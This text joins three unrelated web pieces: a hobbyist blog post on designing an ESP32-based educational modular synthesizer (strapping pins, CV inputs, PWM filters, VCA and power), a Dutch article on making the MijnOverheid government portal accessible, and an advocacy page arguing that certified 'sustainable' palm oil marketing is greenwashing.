Section 2.4 of the ESP32 datasheet (“Strapping Pins”) has all the details. Essentially a number of pins are pulled high or low using the internal pullup or pulldown resistors. These define the boot configuration for the board and can be overridden by external pullup or pulldown resistors.
One or two other pins have additional circuitry too on a typical DevBoard.
The key GPIO pins used as Strapping pins are:
- GPIO 0 is the boot button, so I’m not worried about that. However to enter boot mode both GPIO 0 and GPIO 2 must be LOW. If my use of GPIO 2 is an issue, then I’ll have to flash the board before plugging it in. Once plugged in and booting from flash, then the state of GPIO 2 is irrelevant to the ESP32. GPIO 2 is pulled LOW via an external 10K resistor though on my dev board too.
- GPIO 2 on my DevKit board is also connected to the onboard LED with a 1K resistor to ground. This means that it’s use for an analog input was probably a mistake! It is possible to remove the onboard LED if required, but otherwise this means that the analog input range will be somewhat decreased to around 2.3V.
- GPIO 4 is pulled LOW. I don’t know what the significance of this is, but as this is connected to a CV input stage, when nothing is plugged in, this will be default pulled LOW externally too. I don’t know what will happen if a CV is present on boot…
- GPIO 5 is internally pulled HIGH. It is connected to a PWM output circuit, so I might be ok. To be determined…
- GPIO 12 (MTDI) is pulled LOW. It is connected to the MUX address pin, which is a digital input pin. If that works like a microcontrollers input pin then it will have a high impedance in which case, this should be fine.
- GPIO 15 (MTDO) is pulled HIGH. This determines if the boot is “silent” or not – i.e. if startup messages are sent to the UART. As I’m using the TX pin (GPIO 1) as a PWM output, it would be advantageous actually to have this LOW to stop any output, but either way it shouldn’t be a big deal. This pin is connected to a CV input stage with a default pull LOW resistor if nothing is plugged in, but I suspect the internal pull-up to be the stronger of the two and most likely to “win” out.
- GPIO 1 and 3 are TX and RX respectively. RX is connected to the MIDI IN circuit, so this means that board can’t be programmed while connected anyway. TX is configured for a PWM output circuit so there may be spurious output signals on startup for a short period of time on this output.
There is a good summary of some of the implications of attempting to use the strapping pins on this page here.
From the above discussion, I think I might get away with it for the most part (although GPIO 2 is annoying), but I’ll have to see once the boards are made up and do some proper tests. At present, I suspect the most significant ramification of the above is that I won’t be able to program the ESP32 module whilst plugged in, but that is likely to be as a result of the MIDI circuit on RX rather than anything else.
Update after testing:
- GPIO 0: not relevant.
- GPIO 2: as mentioned above, GPIO 2 will not present the full range as the analog input. I believe this is related to the voltage drop across the LED so one option is simply to desolder the LED or its resistor from the board. Also, when not connected the minimum reading is equivalent to 400-600mV rather than zero.
- GPIO 4: this largely works, but when not connected does seem to not quite read full zero, but that could just be noise.
- GPIO 5: no noticeable impact.
- GPIO 12: no noticeable impact.
- GPIO 15: this works fine with an analog input connected, but like GPIO 4 doesn’t quite get to zero when not connected.
ESP32 VCOs and LFO
These will be based on the ESP32 and PWM experiments – I’m planning to include two VCOs and a LFO.
The VCOs will take an analog input – a control voltage for frequency which can come from a pot or an external signal. One of the VCOs will also include a CV for amplitude, to allow some simple shaping (e.g. from the LFO). Both will output four PWM signals: sine, triangle, saw, square – each on its own output pin. I’ll use the built-in tone() function for the square wave – that won’t need a DDS approach.
The CV input will be using a 1V/oct scale, so the input range will be relatively narrow – just over three octaves. I do plan to hook up a MIDI input to the ESP32’s UART so that can feed a frequency directly into one of the VCOs without going via the analog stage, to give a wider range over MIDI only.
Of course, I need to decide what note/frequency 0V will start at.
Control Voltages
Each VCO analog input stage will consist of a pot which can act as a manual control voltage or as some kind of control for an external control voltage. But should the pot add to the external voltage or limit (attenuate) it? If it adds, then it would provide the ability to set an offset to the external signal. If attenuating then it affects the range of the external signal.
I originally went with the following circuit, which is largely based on the input stage of the MiniMo (ATtiny85 based) synth.
But the operation of the pot wasn’t quite what I wanted. With no CV, then the pot allows adjustments between 3V3 and 0V. But when a 3V3 CV is applied to the input, then there is effectively now a voltage divider happening which reduces the peak-to-peak range of the input signal by half and then moves the DC bias between 0-1.5V through to 1.5-3V (or there abouts). Given the limited voltage range anyway, I really wanted to be able to pick up the full 0-3V3 range of the CV if possible.
If all I want is attenuation then one way to achieve this would be to use a switched jack, where the switch will link the pot to the CV when a jack is inserted and to 3V3 when it isn’t, but I wanted to be using jumper wires with no switches.
I’ve gone for summation of the signals, so in the end I decided I’d just do it in software and wire the pots in directly to an analog input then construct a pot-less CV input stage.
As the CV input will be limited at 0-3V3 it will need to be protected against over and under voltage. I’ve seen a range of approaches to achieving this, but in the end I took the basic principles from the modules designed by Hagiwo, resulting in the following circuit:
As I understand things, for the CV input, the BAT43 zener diodes will “clamp” the input CV to GND or 3V3 in the case of under or over voltage; whilst the values of the resistors (1K/680K) mean that there is a sensible impedance but little voltage change. In some cases, I’ve seen the use of a voltage divider here to change a 5V signal into a 3V3 signal. That might be ok if the microcontroller then still treats the 3V3 signal as a “full range” (5 octave) signal, but in my case I want to preserve any 1V/Oct input on any intermediate signal, even if that then leaves me with a smaller three octave+ (0 to 3V3) range.
PWM Output Filtering
Each PWM output will be in the 0-3V3 range, at typical audio frequencies, so a simple low-pass filter will be added as follows:
This is a simple one-stage low-pass filter with a 3db point of just under 5kHz which hopefully gives a nice smooth output. I tried 470, 680 and 1K resistors and 68nF and 100nF capacitors and couldn’t see a significant difference at my test 440 Hz signal, so went with the lower values for a higher cutoff to support more audio frequencies of notes.
The LFO will have two pot controls – rate and depth (amplitude) and no external control. It will provide a triangle and saw PWM output.
Note: If the capacitor is left off the square wave signal then a sharper square wave is possible, so I’ll leave these as optional on the circuit board itself, but will probably leave them out in my build. This makes sense as the sharpest square wave would be a continuing series of odd harmonics, so if I’m filtering out any above 5kHz that will take away quite a few!
In fact, as already mentioned, in code it probably makes sense for the square wave to be a tone() signal rather than a PWM output anyway, in which case the sharpest signal would be with no resistor either, but I suspect some resistance is necessary to protect against whatever the pin ends up driving. Keeping with 470 will match the other outputs, but an even sharper signal is possible with 220 instead. I’ll stick with 470 to keep everything matched. I will be using tone() rather than PWM in the code.
Envelope Generator
The gate and trigger connections for the two envelope generators will allow external connections. This could be a button or an external active HIGH signal. To get these into the microcontroller, requires a circuit like the following (I’ve found various versions of this online, but I think the definitive version came from Rich Holmes – at least on the forums I was looking at anyway):
Again, as I understand things, the use of a diode and transistor provides over and under voltage protection, the resistors provide current protection, and the 1M to GND resistor ensures the input isn’t floating if unconnected.
One issue with this circuit is that the signal to the microcontroller is inverted – i.e. it will be default HIGH until the gate is activated in which case it will become active LOW. The code in the microcontroller has to take this into account.
There will be four of these circuits, one for each of the gate and trigger inputs for each of the two envelope generators.
A manual gate or trigger can be built from a switch that connects the EGn_EXT_yyyy signal to 3V3, with a suitable capacitor for debouncing.
Other External Signals
An external connection will be provided for MIDI IN which will be my standard 3V3 compatible, H11L1 optoisolator based MIDI circuit, so no surprises there. I’m not providing MIDI out.
This will go directly into the ESP32’s RX pin for UART 0 and processed in software to generate an internal CV/gate/trigger signal. This CV/gate/trigger won’t be visible outside the microcontroller – it will be the one part of the system that remains entirely within software. This means that MIDI should extend to a full range of pitches, not just those within the 0-3V3 1V/oct range.
There will be no special hardware for USB, so if USB MIDI is supported in the end, then it will be via the ESP32’s built-in USB port, but that might complicate the power circuitry.
VCA and Audio Output
As already mentioned, the last stage will make use of the TD7052A combining a VCA and output stage amplifier in one. This is basically the circuit I ended up with from my experiments.
The TDA7052A is designed to drive an 8Ω speaker directly from its differential outputs pins 5 and 8), but I’ve also seen it used with a single output to send to a line socket, so I’ve tried to support both here.
Ideally I’d have been able to use a switched jack socket to disable the speaker when a jack is plugged in. Instead, this is another area where there is a compromise and people will have to use one or the other only.
The resistor values on the input have been chosen to attempt to match the input ranges required of the TDA7052A, so ~0-1.2V for the control voltage and ~0-300mA for the audio input. This is the point where the audio signal finally gets the DC bias removed and from a 0-3V3 audio signal becomes a +/- 150mA signal instead. But recall that the TDA7052A will then internally bias it to around 2.6V. Also recall that the VOL signal will sit at 1.25V until pulled low by the transistor and incoming control voltage. One again I’m using a BC557 (PNP) transistor here.
The output is mono and will eventually produce around a +/- 400mV output at the socket when powered from a 5V or 9V supply.
From my experiments it seems to output a 1.5-2V signal with an 8Ω loudspeaker across pins 5 and 8 when powered from 5V. It was slightly increased with a 9V, but the signal started to distort.
To be honest, I’m not convinced of the utility of the speaker output, so it may be that if a speaker is required it will be better taken from the line out and through a secondary small amplifier of some sort. Or it may be that prototyping this section on a breadboard is a little futile – I’ll have to wait until it is on a PCB and try again.
Power and Battery
This has been left about as simple as it is possible to be:
All connectors and switches have been left with pin headers. The 7-12V header could be connected up to a 9V battery if required. The power switch can be omitted by jumpering across J9. This is fed into a LM7805 to produce a steady 5V VCC supply.
Note VCC will be fed into the ESP32’s VIN pin to create the 3V3 power signal that supplies the rest of the circuit. It will also power the TDA7052A directly.
Also note that if nothing is plugged in here (i.e. neither battery or DC), then it should be possible to power the unit from the ESP32’s USB port. If this is the case, then VCC will come from VIN from the ESP32 and the jumper J2 should be removed to disconnect VCC from the LM7805. In this case the ESP32 VIN (which comes from the USB 5V) will also be powering the TDA7052A.
According to the schematics I’ve found online for my dev board (which seem to agree with what I can trace out on my board) the on-board power circuit is as follows:
I’ve found some discrepancy in the capacitors values – another schematic suggests C1 here is 100nF. More seriously, I found one schematic that shows VCCUSB connected to VIN on the NCP1117 rather than VIN. I’m pretty sure this is a mistake and it certainly doesn’t match what I have on my board.
Taking VIN on the module pinout as being the input to the NCP1117 and with a maximum dropout voltage of 1.2V (as per the NCP1117 spec) then the input range for VIN should be 4.5V up to 20V.
Powering it from the 7805 should be perfectly adequate and in fact could probably have been omitted. But in the interests of providing some stability to the PCB when in use, along with wanting a known voltage for the amplifier, I’ve opted to include the regulator. It also means I’ll be able to test parts of the board without requiring the ESP32 plugged in, and might provide an element of protection for the ESP32 should an incorrect power supply be plugged in.
But it should be quite possible to leave it out and direct VIN directly to the input power connection if required.
There is no protection for using USB and powering the system from the regulator, so this has to be decided as a build option to be one or the other, but being able to use USB during testing may be useful.
Panel Design
I’m hoping to get all this within a 100×100 footprint for ease of manufacturing. Initial efforts seem to show that it will be possible. This is the panel design I’m going for.
Design principles:
- MIDI, power, audio output, and any external links for breadboarding will be left off the main panel – the idea being that they will probably be in the side of a case. Or they could be an additional panel element if required.
- I’ve deliberately not included a filter stage – that will be an area where breadboard experimentation will be encouraged! It can be included by taking the output of one of the VCOs and reconnecting to the input of the VCA.
- I might double up on some of the connection points to allow several patch leads – e.g. to make it easy to link to a scope.
PCB Design
I have a PCB design ready, further details available below:
- ESP32 WROOM Educational Modular Synth Thing PCB Design
- ESP32 WROOM Educational Modular Synth Thing PCB Build Guide
Closing Thoughts
I’m writing this after some experimentation and initial breadboarding, so I’m hoping much of this is from a position of knowledge (although obviously not enough knowledge to have anticipating the strapping pins issue!).
The only compromise I think I’ve had to make is that I’ve left out a filter stage. At some point, if this rather mad contraption actually works, then I might consider designing a second panel with some additional modules and that might include some filter options.
Kevin
https://diyelectromusic.wordpress.com/2024/05/07/educational-diy-synth-thing-part-2/
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MijnOverheid toegankelijk: wat waren de leerpunten?
MijnOverheid voldoet aan alle verplichte toegankelijkheidseisen, dankzij een gestructureerde aanpak en het doorzettingsvermogen van het team achter de website. Esther Thomas-Laros en Chris de Heij van Logius vertellen hoe zij dit hebben aangepakt. Wat waren eyeopeners, en welke tips hebben zij voor andere organisaties?
Niemand buitensluiten
“Digitaal wordt steeds meer het ‘normaal’, en normaal moet er zijn voor iedereen.” Aan het woord is Esther Thomas-Laros, werkzaam als Product Owner voor MijnOverheid bij Logius. “Wij willen dat MijnOverheid beschikbaar en toegankelijk is voor iedereen, zodat niemand wordt uitgesloten.” Chris de Heij, front-end developer bij haar team, is het met haar eens: “MijnOverheid is simpelweg voor iedere burger relevant.”
“Digitaal wordt steeds meer het ‘normaal’, en normaal moet er zijn voor iedereen”Esther Thomas-Laros
In 2 jaar naar status A
MijnOverheid is in 2020 na een redesign getoetst op toegankelijkheid. Daar kwamen diverse verbeterpunten uit, die het team gestructureerd heeft opgepakt. Eind 2021 was er weer een toets, met een hertoets in januari 2022.
Na de eerste toetsing heeft het team hard gewerkt, vertelt Thomas-Laros. “Van het aanpassen van de opbouw van tabellen tot het herschrijven van teksten en het verbeteren van foutmeldingen.” Dat kostte veel tijd: “De periode tussen de eerste en tweede toetsing hebben wij nodig gehad om alle bevindingen te verwerken, naast de normale werkzaamheden. Bijna 2 jaar dus.”
Wat heeft het team gedaan om status A te bereiken?
1. Leren van ervaringsdeskundigen
Thomas-Laros nodigde de Oogvereniging uit. Doel was om als team meer te leren over de ervaringen van mensen met een beperking. Een echte eyeopener. “Zelf ervaren en begrijpen waarom het zo belangrijk is om toegankelijk te zijn. Hoe het is om voorleessoftware te gebruiken en je site te bedienen zonder muis. Niet denken voor een ander, maar juist leren van onze collega-burgers: dat heeft veel inzichten opgeleverd.”
“Niet denken voor een ander, maar juist leren van onze collega-burgers: dat heeft veel inzichten opgeleverd”Esther Thomas-Laros
Haar gouden tip: ga eens in de schoenen van iemand met een beperking staan, door ervaringsdeskundigen uit te nodigen. “Het helpt als je weet waar je het voor doet.”
2. Doorzettingsvermogen en creativiteit
MijnOverheid moet niet alleen toegankelijk, maar ook veilig en gebruiksvriendelijk zijn. Dat leidde soms tot interessante vraagstukken. Thomas-Laros: “Een voorbeeld hiervan is het gebruik van een captcha op ons contactformulier (een reactietest om te bepalen of er sprake is van een menselijke gebruiker). Vanuit informatiebeveiliging een voorwaarde, want je wilt niet dat een spambot je site platlegt. Maar voor iemand met een visuele beperking is het onmogelijk om aan te vinken op welke foto’s je bruggen of stoplichten ziet…
In overleg hebben we een alternatief bedacht. De captcha tonen we niet direct, maar pas na een aantal foutieve invoerpogingen. Daarnaast bieden we een alternatief, waarbij je na het inloggen de captcha helemaal niet meer gepresenteerd krijgt. Een verbetering op gebruiksgemak dus, waarbij met enige creativiteit veiligheid en toegankelijkheid gecombineerd is.”
3. Processen aanpassen
Toegankelijkheid is verankerd in het hele ontwikkelproces. Het team neemt de toegankelijkheidseisen vanaf de eerste fasen mee. Dat begint al bij het ontwerp, en het inschatten van benodigde werkzaamheden voor realisatie van een onderdeel.
Daarnaast is toegankelijkheid onderdeel van de ‘Definition of Done’ waar het team mee werkt. Thomas-Laros: “Een nieuw stukje ontwikkeling mag pas naar productie als onze testers op toegankelijkheid getoetst hebben, bijvoorbeeld met voorleessoftware.”
“Door onze testers is de code die wij opleveren ook daadwerkelijk toegankelijk”Chris de Heij
Ook De Heij benadrukt het belang van structureel intern testen: “Als ontwikkelaar heb je niet altijd de mogelijkheid om zelf op alle variaties van apparaten te testen. Dan komt de zorgvuldigheid van testers om de hoek kijken. Zij hebben veel ervaring in het testen met screenreaders. Daardoor is de code die wij opleveren ook daadwerkelijk toegankelijk.”
Op technisch vlak wordt zoveel mogelijk geautomatiseerd. Zo zijn in de ontwikkelstraat voorwaarden ingebouwd waaraan de code moet voldoen. Het team werkt op dit moment bovendien aan manieren om al in een vroeg stadium automatisch te toetsen op bepaalde toegankelijkheidseisen.
Leerpunten
Terugkijkend op het traject denkt Thomas-Laros dat ze de verwachtingen rond het toepassen van de toegankelijkheidsstandaard beter had kunnen managen. “Kennis van WCAG ligt niet zomaar op de plank. Graag had ik vooraf meer bewustwording gecreëerd, en het verwachtingspatroon voor mijzelf en het team gemanaged. Het is soms wat taai en niet eenvoudig. Maar stap voor stap kom je er wel. Ook al duurt het soms wat langer.”
De belangrijkste tip: begin
‘Begin’, dat vat samen wat Thomas-Laros en De Heij willen zeggen tegen organisaties die nog niet zo ver zijn. Thomas-Laros: “Start met een nulmeting. Breng in kaart waar de verbeterpunten liggen. Zo kun je met je team bepalen welke verbeteringen je eenvoudig op kunt pakken. Daarmee groei je stap voor stap in de materie.”
“Begin met het identificeren van onderdelen die echt toegankelijk móeten zijn”Chris de Heij
De Heij vult aan: “Begin in ieder geval met het identificeren van de meest cruciale onderdelen, die echt toegankelijk moeten zijn. Bied je bijvoorbeeld een dienst aan via een webformulier dat niet voor iedereen bruikbaar is, dan is dat een goed startpunt. Zeker als overheidsorganisatie heb je natuurlijk een verantwoordelijkheid om hier tijd voor te maken.”
Een veelomvattende klus
Thomas-Laros sluit af met een waarschuwing. “Zonder tijd of beschikbare expertise kom je helaas minder ver. De ervaring leert dat het tijd en inspanning kost om aan alle richtlijnen te voldoen.” Haar advies is dan ook: zorg dat voldoende tijd wordt vrijgemaakt voor het doorvoeren en testen van verbeteringen. “Het is een veelomvattende klus, die alle lagen van je product raakt.”
De Heij voegt hier aan toe: “Neem toegankelijkheid direct mee in het ontwikkel- en ontwerpproces. Probeer niet achteraf in 1 keer je website helemaal toegankelijk te maken. Als je hier in een vroeg stadium bij stilstaat, is het makkelijker om zaken direct op een toegankelijke manier te implementeren.”
Het team achter MijnOverheid
Esther Thomas-Laros en Chris de Heij werken bij het team Portal3 van MijnOverheid van Logius. De focus van het team ligt op de interactie met de eindgebruiker, de presentatielaag.
Als dev-ops team zorgen zij voor de ontwikkeling, bouw, test, deployment (het beschikbaar stellen van de programmatuur op productie) en het beheer van MijnOverheid. Dit doen ze samen met een tweede dev-ops team dat gericht is op alles onder de motorkap, een designteam, het app-team (Berichtenbox-app en de MijnGegevens-app), en een team dat zorgt voor de infrastructurele basis.
Dit is een automatisch geplaatst bericht. Vragen of opmerkingen kun je richten aan @[email protected]
#digitaleInclusie #digitaleToegankelijkheid #nieuwsbrief92022
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Greenwashing Tactic #7: Lying
Telling outright lies over and over again to consumers until they are believed as truth
Greenwashing by Lying
Blatant lies that appear in advertising or on social media. The lie could be falsifying support from respected authorities or individuals on environmental issues. Or the lie could be research with ambiguous results being made to sound positive. Sometimes, it is a clear and obvious lie.
Tweet this…
#Greenwashing Tactic #7: Lying: Telling outright lies to #consumers until they are believed as truth. #palmoil lobbyists and global food companies lie about ‘sustainable’ #palmoil #Boycott4Wildlife #Boycottpalmoil #FightGreenwashing
Jump to section
Greenwashing: Endangered species
Reality: Endangered species
Greenwashing: Human rights, land-grabbing and livelihoods for workers
Reality: Human rights, land-grabbing and livelihoods for workers
An open letter from Friends of the Earth and 100 Human Rights NGOs
Greenwashing: Deforestation and fire
Greenwashing: Lies and denialism in the media
Reality: Deforestation and fire
Explore the Series
Further reading: greenwashing and deceptive marketing
Say thanks for this guide by donating to my Ko-Fi
Greenwashing:
RSPO certification protects endangered species living in tropical rainforests
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RSPO marketing materials make grand claims that are not supported by any evidence at all.https://twitter.com/RSPOtweets/status/1660543540378697729?s=20
The team from Chester Zoo encourage children to save endangered species by buying sustainable palm oil.
Lyrics: ‘We have a choice – and it’s sustainable palm oil’
Michelle Desilets, Manager of Orangutan Land Trust explains in this video that ‘deforestation is prohibited by the RSPO’.
What she does not mention is that none of the RSPO’s members have actually stopped deforestation in the 17 years since it began.
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https://twitter.com/RSPOtweets/status/1200683887497756672?s=20
https://twitter.com/RSPOtweets/status/894844642327502848?s=20
https://twitter.com/RSPOtweets/status/1281240693285875712?s=20
https://twitter.com/griffjane/status/1301407429373165568?s=20
https://twitter.com/RSPOtweets/status/1305809870281732096?s=20
https://twitter.com/orangulandtrust/status/1246908272931753988?s=20
https://twitter.com/orangulandtrust/status/1002860521215942656?s=20
https://twitter.com/RSPOtweets/status/1414519913457270794?s=20
Reality: “Sustainable” Palm Oil does not stop biodiversity loss
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“In the plantation, the calls of birds and beasts are replaced by a deathly silence, which is particularly eerie in the glaring heat of the midday sun. Sounds of life are replaced by sounds of death—roaring bull-dozers, gnawing chainsaws, the crackle of illegal burning, and the rumble of overloaded trucks carrying oil palm fruit and timber.”.
Currently certified grower supply bases and concessions in Sumatra and Borneo are located in large mammal’s habitat and in areas that were biodiverse tropical forests less than 30 years ago. We suggest that certification schemes claim for the “sustainable” production of palm oil just because they neglect a very recent past of deforestation and habitat degradation.
Roberto Cazzolla Gatti, Alena Velichevskaya, Certified “sustainable” palm oil took the place of endangered Bornean and Sumatran large mammals habitat and tropical forests in the last 30 years, Science of The Total Environment, Vol 742, 2020,
https://doi.org/10.1016/j.scitotenv.2020.140712.Oil palm plantations support much fewer species than do forests and often also fewer than other tree crops. Further negative impacts include habitat fragmentation and pollution, including greenhouse gas emissions.
Emily B. Fitzherbert, Matthew J. Struebig, Alexandra Morel, Finn Danielsen, Carsten A. Brühl, Paul F. Donald, Ben Phalan, How will oil palm expansion affect biodiversity?,
Trends in Ecology & Evolution, Vol 23, 2008, https://doi.org/10.1016/j.tree.2008.06.012.We found that certified plantation concessions that are committed to deforestation-free production are limited in their ability to prevent further biodiversity loss, due to the past conversion of forest habitats to plantations. Concession holders can improve forest habitats through corridor development and other measures, which would mitigate, but not prevent, further biodiversity loss.
Hideyuki Kubo, Arief Darmawan, Hendarto, André Derek Mader,
The effect of agricultural certification schemes on biodiversity loss in the tropics,
Biological Conservation, Volume 261, 2021, https://doi.org/10.1016/j.biocon.2021.109243.We uncover the global patterns of oil palm expansion and find that global oil palm expansion has a very high degree of potential conflict with local biodiversity. Globally, 99.9% of oil palm plantations overlapped with Conservation Priority Zones (CPZs) and oil palm plantations encroached on 231 protected areas.
Le Yu, Yue Cao, Yuqi Cheng, Qiang Zhao, Yidi Xu, Kasturi Kanniah, Hui Lu, Rui Yang & Peng Gong (2022) A study of the serious conflicts between oil palm expansion and biodiversity conservation using high-resolution remote sensing, Remote Sensing Letters, DOI: 10.1080/2150704X.2022.2063701
https://twitter.com/adinarenner/status/1392148610448568329?s=20
We found a high overlap between areas of high oil palm suitability and areas of high conservation priority for primates. Overall, we found only a few small areas where oil palm could be cultivated in Africa with a low impact on primates (3.3 Mha, including all areas suitable for oil palm). These results warn that, consistent with the dramatic effects of palm oil cultivation on biodiversity in Southeast Asia, reconciling a large-scale development of oil palm in Africa with primate conservation will be a great challenge.
Small room for compromise between oil palm cultivation and primate conservation in Africa
Giovanni Strona, Simon D. Stringer, Ghislain Vieilledent, et. al.
Proceedings of the National Academy of Sciences (2018), 115 (35) 8811-8816; DOI: 10.1073/pnas.1804775115As of 2019, more than 60% of the palm oil plantations in the study area were in Key Biodiversity Areas. KBAs are sites that contribute significantly to the global persistence of biodiversity in terrestrial, freshwater and marine ecosystems. RSPO-certified plantations, comprising 63% of the total cultivated area assessed, did not produce a statistically significant reduction in deforestation and appear to be ineffective at reducing encroachment into ecologically sensitive areas in Guatemala.
Calli P. VanderWilde, Joshua P. Newell, Dimitrios Gounaridis, Benjamin P. Goldstein,
Deforestation, certification, and transnational palm oil supply chains: Linking Guatemala to global consumer markets, Journal of Environmental Management,
Volume 344, 2023. https://doi.org/10.1016/j.jenvman.2023.118505There was no significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Morgans, C. L. et al. Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. Environ. Res. Lett. 13, 064032, 2018.
“The big message is that oil palm is bad for biodiversity, in every sense of the word — even when compared to damaged rainforests that are regenerating after earlier logging or clearing.”
Professor Bill Laurance, James Cook University. ‘Palm oil plantations are bad for wildlife great and small’. The Conversation.
We analyse consequences of the globally important land-use transformation from tropical forests to oil palm plantations. Species diversity, density and biomass of invertebrate communities suffer at least 45% decreases from rainforest to oil palm.
Barnes, A., Jochum, M., Mumme, S. et al. Consequences of tropical land use for multitrophic biodiversity and ecosystem functioning. Nat Commun 5, 5351 (2014). https://doi.org/10.1038/ncomms6351
Palm oil also poses a global risk for zoonotic diseases such as Covid-19
Taking into account the human population growth, we find that the increases in outbreaks of zoonotic and vector-borne diseases from 1990 to 2016 are linked with deforestation, mostly in tropical countries, and with reforestation, mostly in temperate countries. We also find that outbreaks of vector-borne diseases are associated with the increase in areas of palm oil plantations.
Outbreaks of Vector-Borne and Zoonotic Diseases Are Associated With Changes in Forest Cover and Oil Palm Expansion at Global Scale
(2021) Morand Serge, Lajaunie Claire, Frontiers in Veterinary Science. https://www.frontiersin.org/article/10.3389/fvets.2021.661063
DOI=10.3389/fvets.2021.661063Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire – Neue Zürcher Zeitung (NZZ)
Fire started within orangutan habitats and destroyed them – this was not investigated by the RSPO
The team used map data from @globalforests and @UMBaltimore, #sentinel2 images from @esa, concession boundaries from @RSPOtweets and #fire hotspot data (#VIIRS) from @NASAEarth.
Originally tweeted by Adina Renner (@adinarenner) on May 10, 2021.
Read moreAsia: Species Endangered by Palm Oil Deforestation
Africa: Species Endangered by Palm Oil Deforestation
Papua New Guinea & West Papua: Species Endangered by Palm Oil Deforestation
South America: Species Endangered by Palm Oil Deforestation
Greenwashing
‘Europeans have destroyed their forests for agriculture, so why can’t we do the same in the tropics? Stopping our economic development is hypocrisy and colonialism’
‘Sustainable palm oil helps the livelihood of workers on RSPO certified palm oil plantations.‘
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Research analysing media and social media messages around palm oil in Malaysia and Indonesia finds that palm oil lobbyists use an ‘Us’ Versus ‘Them’ narrative, in other words, they invoke colonial racism to justify continued deforestation and ecocide.
Four mutually complementary narratives were used by Indonesian and Malaysian media to construe denialism These denialist narratives appeal to a nationalist sentiment of ‘us’ – palm oil-producing developing countries – and ‘them’ – western developed countries producing research critical of the industry.
Liu, Felicia & Ganesan, Vignaa & Smith, Thomas. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore. Environmental Science & Policy. 114. 162-169. 10.1016/j.envsci.2020.07.004.
RSPO advertisement from social media, with a focus on promoting better workers rights under certified palm oil. An RSPO advertisement targeting the Indian market in 2021 by the RSPO showing supposed benefits for palm oil workers.We had the luck to be born into a developed country, I believe we need to acknowledge the right of lesser-developed countries to develop. We simply have no right to tell a country like Indonesia to forgo economic development, but we can help to steer that development in a sustainable direction.
Michelle Desilets, Director, Orangutan Land Trust. The Switch Report, 2014
Social media messaging by palm oil lobbyists reflects a focus on ‘Us’: poor, palm oil producing nations, versus ‘Them’: the ‘greedy, already developed West.
https://twitter.com/CPOPC_ORG/status/1295253527191642113?s=20
https://twitter.com/palmoiltruther/status/1420662530863550464?s=20
https://twitter.com/palm_eu/status/1440943483410386945?s=20
https://twitter.com/emeijaard/status/1191961097294757889?s=20
https://twitter.com/palmoilmonitor/status/1445795527560515587?s=20
https://twitter.com/CIFOR/status/1016759321701552133?s=20
Reality: Human rights abuses and landgrabbing are ongoing for “sustainable” palm oil
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University of Michigan 2023 study: RSPO plantations do not reduce deforestation in Guatemala
A 2021 Investigation by Global Witness found that palm oil companies in Papua New Guinea are alleged to have been involved in corruption, child labour, tax evasion, deforestation, worker deaths and paying police to assault villagers.
The palm oil from these mills in Papua New Guinea is used by RSPO members Colgate-Palmolive, Kelloggs, General Mills, Nestle, Hersheys, Danone, PZ Cussons – finds its way into our weekly supermarket shop.
Read reporthttps://twitter.com/earthsight/status/1192827396451438592?s=20&t=rnSAWHikl-a8C6GAd9n09g
https://twitter.com/Rainforest_RIN/status/1541428640491212801?s=20&t=rnSAWHikl-a8C6GAd9n09g
A 2019 World Health Organisation (WHO) report into the palm oil industry finds extensive greenwashing of human rights abuses
Read moreCertified goods improve the price and income of sale for certified goods, but they do not advance equity, income or assets for workers
We identified 64 conflicts that involved RSPO member companies, of which 17 prompted communities to convey their grievances to the RSPO’s conflict resolution mechanism…We conclude that—on all counts—the conflict resolution mechanism is biased in favor of companies. The result of these biases is that the actual capacity of the RSPO’s mechanism to provide a meaningful remedy for rural communities’ grievances remains very limited. This unequal access to justice sustains conflicts between companies and communities over land.
Afrizal, A., Hospes, O., Berenschot, W. et al. Unequal access to justice: an evaluation of RSPO’s capacity to resolve palm oil conflicts in Indonesia. Agric Hum Values 40, 291–304 (2023). https://doi.org/10.1007/s10460-022-10360-z
We find positive effects on prices and income from sale of certified products. However, we find no change in overall household income and assets for workers. The wages for workers are not higher in certified production.
Oya, C., Schaefer, F. & Skalidou, D. The effectiveness of agricultural certification in developing countries: a systematic review. World Dev. 112, 282–312 (2018).
We find that, while sustainability standards can help improve the sustainability of production processes in certain situations, they are insufficient to ensure food system sustainability at scale, nor do they advance equity objectives in agrifood supply chains.
Meemken, EM., Barrett, C.B., Michelson, H.C. et al. Sustainability standards in global agrifood supply chains. Nat Food (2021). https://doi.org/10.1038/s43016-021-00360-3
Deforestation by fire for palm oilDeforestation – Craig Jones Wildlife Photography After a forest fire in Sumatra – Craig Jones Wildlife Photography Research: Palm Oil Deforestation and its connection to retail brandsOil palm expansion is shaped by wider political economies and development policies.
Market-based development policies have favored large-scale over smallholder production.
Benefits from oil palm are unevenly distributed across rural population.
Violence across forest frontiers has fueled conflicts linked to oil palm.
Weak forest governance has led to significant deforestation by industrial plantations.
A. Castellanos-Navarrete, F. de Castro, P. Pacheco,
The impact of oil palm on rural livelihoods and tropical forest landscapes in Latin America, Journal of Rural Studies,
Volume 81, 2021, https://doi.org/10.1016/j.jrurstud.2020.10.047.This article argues that the form of sustainability offered by certification schemes such as the RSPO fetishes the commodity palm oil in order to assuage critical consumer initiatives in the North. This technical-managerial solution is part of a larger project: the “post-political” climate politics regime (Swyngedouw) that attempts to “green” the status quo.
Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Volume 121, September 2019, Pages 218-228- The palm oil industry is neither sustainable nor a viable development model.
- Certification represents a technical fix which neglects underlying dynamics of power, class, gender and accumulation.
- The fetishised commodity ‘certified sustainable palm oil’ has no impact on the regional scale of expansion.
- Working conditions in the plantations and mills entrench social inequality and poverty.
From: Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Deforestation in West PapuaDeforestation – Craig Jones Wildlife Photography
Volume 121, September 2019, Pages 218-228Deforestation for palm oil: the impact of increased heat on human health
477 villages throughout Kalimantan were surveyed about forest health benefits.
The most frequent answer was maintenance of cool local temperatures.
Perceptions were driven by deforestation and local temperature.
Results point to possible threat of heat impacts on health.
Policy should incorporate human health when considering land use.
